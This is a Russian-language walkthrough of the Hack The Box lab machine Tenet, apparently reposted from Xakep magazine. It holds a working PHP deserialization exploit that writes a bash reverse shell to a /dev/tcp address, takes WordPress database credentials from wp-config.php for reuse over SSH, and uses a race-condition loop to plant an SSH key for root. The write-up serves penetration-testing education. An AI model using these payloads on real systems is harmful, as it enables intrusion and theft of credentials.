Хакер - HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера

Хакер - HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Точка входа
  • Закрепление
  • Продвижение
  • Локальное повышение привилегий

В этой статье я покажу прос­той инс­тру­мент для поис­ка бэкапов, поз­наком­лю тебя с уяз­вимостью при десери­али­зации объ­екта в PHP и про­демонс­три­рую Race Condition при выпол­нении самопис­ного скрип­та. Все эти манипу­ляции мы будем про­делы­вать с Tenet — сред­ней по слож­ности машиной с Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

По тра­диции нач­нем с того, что добавим IP машины (10.10.10.223) в /etc/hosts, что­бы боль­ше не печатать его руками.

10.10.10.223 tenet.htb

И ска­ниру­ем пор­ты:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Скрипт находит два откры­тых пор­та: 22 (служ­ба SSH) и 80 (веб‑сер­вер Apache). SSH зак­рыт, и без учет­ки там делать нечего, поэто­му будем «про­бивать» веб. Помимо точек вхо­да, нас инте­ресу­ют любые под­робнос­ти, поэто­му вни­матель­но изу­чаем сайт.

На одной из стра­ниц находим инте­рес­ный ком­мента­рий — его оста­вил поль­зователь neil. В ком­мента­рии упо­мина­ется файл sator.php, а так­же бэкап.

Ком­мента­рий, оставлен­ный на сай­те поль­зовате­лем neil

Это очень важ­ная для нас информа­ция. Не исклю­чено, что там мы и най­дем точ­ку вхо­да, если адми­нис­тра­тор не выпол­нил прось­бу Нила и не спря­тал фай­лы. Пер­вым делом я решил поис­кать бэкапы sator.php при помощи ути­литы bfac, которая переби­рает под­ходящие вари­анты.

bfac --url http://tenet.htb/sator.php

По­иск бэкапов фай­ла sator.php с помощью bfac

Но к сожале­нию, нам не уда­лось най­ти никаких бэкапов.

ТОЧКА ВХОДА

Не оставляя идею с sator, я решил про­верить под­домен sator.tenet.php. Что­бы обра­тить­ся к вир­туаль­ному хос­ту, нуж­но ука­зать его адрес в заголов­ке Host HTTP-зап­роса. Про­верить дос­туп мож­но с помощью curl.

curl -H 'Host: sator.tenet.htb' http://tenet.htb

Зап­рос к вир­туаль­ному хос­ту sator.tenet.php

Веб‑сер­вер вер­нул нам дефол­тную стра­ницу Apache 2. Хва­лим себя за удач­ную наход­ку и добав­ляем запись в файл /etc/hosts.

10.10.10.223 sator.tenet.htb

Сле­дующий шаг в таких слу­чаях — прос­каниро­вать дирек­тории на най­ден­ном домене. Но, пом­ня о ком­мента­рии, я сна­чала поищу бэкапы фай­ла sator.php. На этот раз нам повез­ло — находим бэкап и можем ска­чать его для ана­лиза.

bfac --url http://sator.tenet.htb/sator.php

По­иск бэкапов фай­ла sator.php с помощью bfac

ЗАКРЕПЛЕНИЕ

Да­вай раз­берем­ся с кодом. Этот файл ждет, что будет ука­зан параметр arepo, а передан­ные дан­ные под­верга­ются десери­али­зации (стро­ки 23–24). Так­же име­ется класс DatabaseExport, содер­жащий имя фай­ла и дан­ные (стро­ки 3–6), которые будут записа­ны в этот файл при вызове дес­трук­тора клас­са (стро­ки 15–20).

Со­дер­жимое фай­ла sator.php.bak

По­луча­ется, что мы можем сери­али­зовать объ­ект такого клас­са и отпра­вить сери­али­зован­ные дан­ные на сер­вер. А это откры­вает воз­можность записать какие угод­но дан­ные в любой файл. Писать мы, конеч­но, будем бэк­шелл. Но сна­чала про­верим, есть ли на сер­вере файл, бэкап которо­го мы разоб­рали.

Зап­рос к sator.php

Ре­зуль­таты работы sator.php и бэкапа иден­тичные, а зна­чит, все дол­жно получить­ся. Но сна­чала нам нуж­но запус­тить лис­тенер, который будет при­нимать соеди­нение с нашей сто­роны. Я буду исполь­зовать netcat и обо­лоч­ку rlwrap.

apt install rlwrap

rlwrap nc -lvp [port]

Те­перь раз­берем­ся с экс­плу­ата­цией. Копиру­ем опре­деле­ние клас­са DatabaseExport, а затем зада­ем зна­чение перемен­ных: user_file — это имя фай­ла, а data — бэк­шелл, который будет записан в файл (стро­ки 2–11). Оста­ется соз­дать экзем­пляр клас­са, сери­али­зовать его и передать в качес­тве дан­ных на извес­тный нам адрес (стро­ки 12–13). Завер­шающим дей­стви­ем будет обра­щение к фай­лу с бэк­шеллом (стро­ка 14).

<?php

class DatabaseExport

{

public $user_file = 'r.php';

public $data = '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.107/4321 0>&1'"); ?>';

public function __destruct()

{

file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);

}

}

$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));

$response = file_get_contents("$url");

$response = file_get_contents("http://10.10.10.223/r.php");

?>

Вы­пол­няем этот код пря­мо в кон­соли и получа­ем шелл в окне лис­тенера.

php exploit.php

Бэк­коннект в окне лис­тенера

ПРОДВИЖЕНИЕ

Так как на хос­те раз­вернут веб‑сер­вер, где кру­тит­ся целая CMS, то пер­вое наше дей­ствие пос­ле зах­вата шел­ла — поп­робовать получить какие‑нибудь учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей. Для удобс­тва получим инте­рак­тивный шелл с помощью Python 3, а потом поищем дирек­торию WordPress.

python3 -c "import pty; pty.spawn('/bin/bash')"

Со­дер­жимое дирек­тории веб‑сер­вера

В WordPress есть мес­то, где учет­ные дан­ные есть всег­да, — файл с нас­трой­ками для под­клю­чения к базе дан­ных wp-config.php.

Со­дер­жимое фай­ла wp-config.php

Эти учет­ные дан­ные поз­воля­ют под­клю­чить­ся к базе дан­ных и получить дру­гие кри­тичес­кие дан­ные поль­зовате­лей, но в этом слу­чае мы можем сра­зу авто­ризо­вать­ся с ними на сер­вере по SSH.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Зай­дя под поль­зовате­лем, мы теперь хотим получить рут, но вряд ли соз­датели машины прос­то оста­вили нам нуж­ный ключ лежащим где‑то на вид­ном мес­те. Для упро­щения поис­ков я обыч­но гоняю скрип­ты LinPEAS, но мож­но сра­зу про­верить наибо­лее веро­ятные мес­та: нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID, прос­лушива­емые на локал­хосте пор­ты.

Нам везет уже при про­вер­ке sudoers! Обра­ти вни­мание на коман­ду sudo -l!

Нас­трой­ки sudoers

Как видишь, здесь любой поль­зователь (ALL) может выпол­нить коман­ду /usr/local/bin/enableSSH.sh в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля (NOPASSWD). Давай гля­нем на этот скрипт.

Со­дер­жимое фай­ла enableSSH.sh

Здесь ста­тичес­ки задан пуб­личный ключ SSH (перемен­ная key). При вызове фун­кции addKey в дирек­тории /tmp соз­дает­ся файл ssh-* (перемен­ная tmpName), куда и записы­вает­ся SSH-ключ key. А уже пос­ле про­вер­ки фай­ла (фун­кция checkFile) его содер­жимое добав­ляет­ся в спи­сок откры­тых клю­чей рута (файл /root/.ssh/authorized_keys), а вре­мен­ный файл уда­ляет­ся. В кон­це скрипт вызыва­ет фун­кцию checkAdded, которая про­веря­ет наличие клю­ча в спис­ке.

Так как ключ добав­ляет­ся в спи­сок не из исполня­емо­го скрип­та нап­рямую, а через вре­мен­ный файл, есть веро­ятность, что мы можем успеть скор­ректи­ровать содер­жимое фай­ла в момент пос­ле записи в него клю­ча и перед перено­сом это­го клю­ча в спи­сок. Под­менив таким обра­зом пуб­личный ключ сво­им сге­нери­рован­ным, мы смо­жем получить дос­туп к сер­веру по SSH от име­ни рута. Нуж­но лишь выпол­нить скрипт, который будет неп­рерыв­но записы­вать во вре­мен­ный файл наш ключ, который мы соз­дадим с помощью коман­ды ssh-keygen.

while true

do

echo "ssh-rsa AAAA...." | tee /tmp/ssh-*

done

Скрипт для под­мены клю­ча SSH

За­пус­каем скрипт, а в дру­гом тер­минале нес­коль­ко раз запус­каем enableSSH.sh в кон­тек­сте sudo.

За­пуск enableSSH.sh

Ви­дим сооб­щение о неудач­ном добав­лении клю­ча, а это зна­чит, что записан­ный ключ не соот­ветс­тву­ет клю­чу из ори­гиналь­ного скрип­та. Выпол­ним под­клю­чение со сво­им при­ват­ным клю­чом.

ssh -i id_rsa root@tenet.htb

Флаг рута

Мы получи­ли флаг рута, машина прой­дена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page